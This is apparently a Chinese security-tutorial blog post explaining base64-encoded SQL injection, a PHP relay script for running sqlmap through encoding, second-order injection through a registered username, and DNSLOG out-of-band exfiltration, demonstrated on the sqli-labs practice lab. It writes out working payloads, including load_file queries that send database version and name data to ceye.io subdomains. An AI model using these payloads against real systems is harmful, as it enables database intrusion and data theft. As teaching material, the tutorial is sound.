WEB 漏洞-二次,加解密,DNS 等注入

WEB 漏洞-二次,加解密,DNS 等注入

加解密注入

知识点

  • 即 get 或者 post 的参数采用了 base64 等加密方式将数据进行加密,在通过参数传递给服务器
  • 一般加密大多都是 base64 加密
  • MQ== (base64 解密为 1)
  • inurl:id=MQ==
  • 现实中许多网站中都有加密

例如

案例:sql-libs–21

WEB 漏洞-二次,加解密,DNS 等注入
  • 其中 %3D 为 url 编码 2,实则 为 = ,前面的为 base64
  • 对 YWRtaW4= 进行解密 得到值 admin
WEB 漏洞-二次,加解密,DNS 等注入
  • 我们可以尝试在这里进行注入,将注入的 sql 语句经过 base64 加密之后放入 cookie
  • 注入语句::uname=x’ or updatexml(1,concat(0x7e,(version())),0)or’
  • 加密后注入语句:YWRtaW4nICBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwodmVyc2lvbigpKSksMCkgb3IgJw==
WEB 漏洞-二次,加解密,DNS 等注入

中转注入

  • 实现了一个中转,sqlmap 在后面写入注入代码,通过 GET 参数去访问本地网页,然后本地网页把 sqlmap 提交的 GET 参数的内容进行 base64 加密,并且在目标网址后面进行拼接。从而达到非手工 base64 注入
  • 如果网站注入点为 base64 编码可以如此,若为其他,可以修改 base64_decode
  • 加解密注入的时候可以自己写脚本,通过 sqlmap 注入
  • 在这里插入图片描述
  • 在这里插入图片描述
  • 首先在本地搭建一个网站,将上述代码写入其中
  • 然后再进行 sqlmap 注入
    • sqlmap -u ‘http://192.168.48.134/test.php/?x=’如此进行攻击实际上攻击的为 www.xxx.com/?id=x
  • 代码:

[blockquote2 name=’ 解密网页提取转换 ‘]<?php
$url=’http://xxxx/job_bystjb/yjs_byszjs.asp?id=’;
$payload=base64_encode($_GET[‘x’]);
echo $payload;
$urls=$url.$payload;
file_get_contents($urls);
echo $urls;
?>[/blockquote2]

二次注入

知识点

  • 请添加图片描述
  • 二次注入可以理解为,构造恶意数据存储在数据库后,恶意数据被读取并进入到了 SQL 查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当 Web 程序调用存储在数据库中的恶意数据并执行 SQL 查询时,就发生了 SQL 二次注入。
  • 实战情况需要搭配源码进行代码审计,扫描工具是扫不出来的!
  • 利用注册用户等插入语句,将恶意代码插入数据库中,再执行查询等语句,将恶意代码与 sql 语句进行拼接执行,从而达到注入的目的。

原理

  • 当用户注册了一个用户名为 admin’ and 1=1–+类似的语句,在注册时 sql 语句进行了单引号过滤,没有报错,写入数据库中。但当用户想修改用户名时,修改的 sql 语句 update 没有进行过滤,导致单引号闭合。就会产生注入
WEB 漏洞-二次,加解密,DNS 等注入

如注册代码:

WEB 漏洞-二次,加解密,DNS 等注入
  • 修改密码时,预先存入的数据(‘#)在进行数据拼接的时,把后面的语句注释掉了!
WEB 漏洞-二次,加解密,DNS 等注入
  • 实际中会对用户名长度进行限制,前端限制(自行修改突破)后端限制就 G 了

步骤

  • 第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
  • 第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验处理。

案例演示sqli-libs–24

  • 进入以后需要注册用户
WEB 漏洞-二次,加解密,DNS 等注入

我们已知有一个用户 admin,可以根据二次注入的思想,我们可以创建一个 admin’#的用户 , 密码 123456,之后可以进行更改密码等操作,那原来的 SQL 语句可能为

WEB 漏洞-二次,加解密,DNS 等注入
  • update password=$new where username=$name and …..
  • 填入参数后
  • update user set pwd=’123456′ where username=’admin’#’
  • 登录 admin’#,进行修改密码操作 , 将密码修改为 111111
WEB 漏洞-二次,加解密,DNS 等注入

尝试使用 admin 用户,密码 123456 登录

WEB 漏洞-二次,加解密,DNS 等注入

成功登录进去,我们在分析查看 php 源码

WEB 漏洞-二次,加解密,DNS 等注入
  • 与我们分析的一样
  • $sql = “UPDATE users SET PASSWORD=’$pass’ where username=’$username’ and password=’$curr_pass’ “;

DNSLOG 带外注入

知识点

  • dnslog 注入也可以称之为 dns 带外查询,是一种注入姿势,可以通过查询相应的 dns 解析记录,来获取我们想要的数据。
  • 带外注入是为了解决一些注入没有回显,也不能进行时间盲注的情况。
  • dnslog 要有高权限,具有文件读写的权限才能进行,需要登陆 CEYE 平台
  • 简单理解就是将查询出来的东西发送到这个 CEYE 上
  • load_file 函数可以进行对外的读取。
    • 因为自己写入的是一个 dns 地址,当 select 语句查询出当前版本号后,就会尝试对 dns 地址进行访问,然后 CYEC 就会记录下访问的信息。从而爆出版本号

dnslog 工具

  • CEYE 平台:http://ceye.io/
WEB 漏洞-二次,加解密,DNS 等注入

https://github.com/ADOOO/DnslogSqlinj

WEB 漏洞-二次,加解密,DNS 等注入

注入语句

  • id =1 and if((select load_file(concat(‘\\’,(select version()),’.yps772.ceye.io\abc’))),1,0、
  • select * from users where id=1 and if((select load_file(concat(’\’,(select version()),’.jepxiv.ceye.ioabc’))),1,0);
  • select * from users where id=1 and if((select load_file(concat(’\’,(select database()),’.jepxiv.ceye.ioabc’))),1,0);
© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容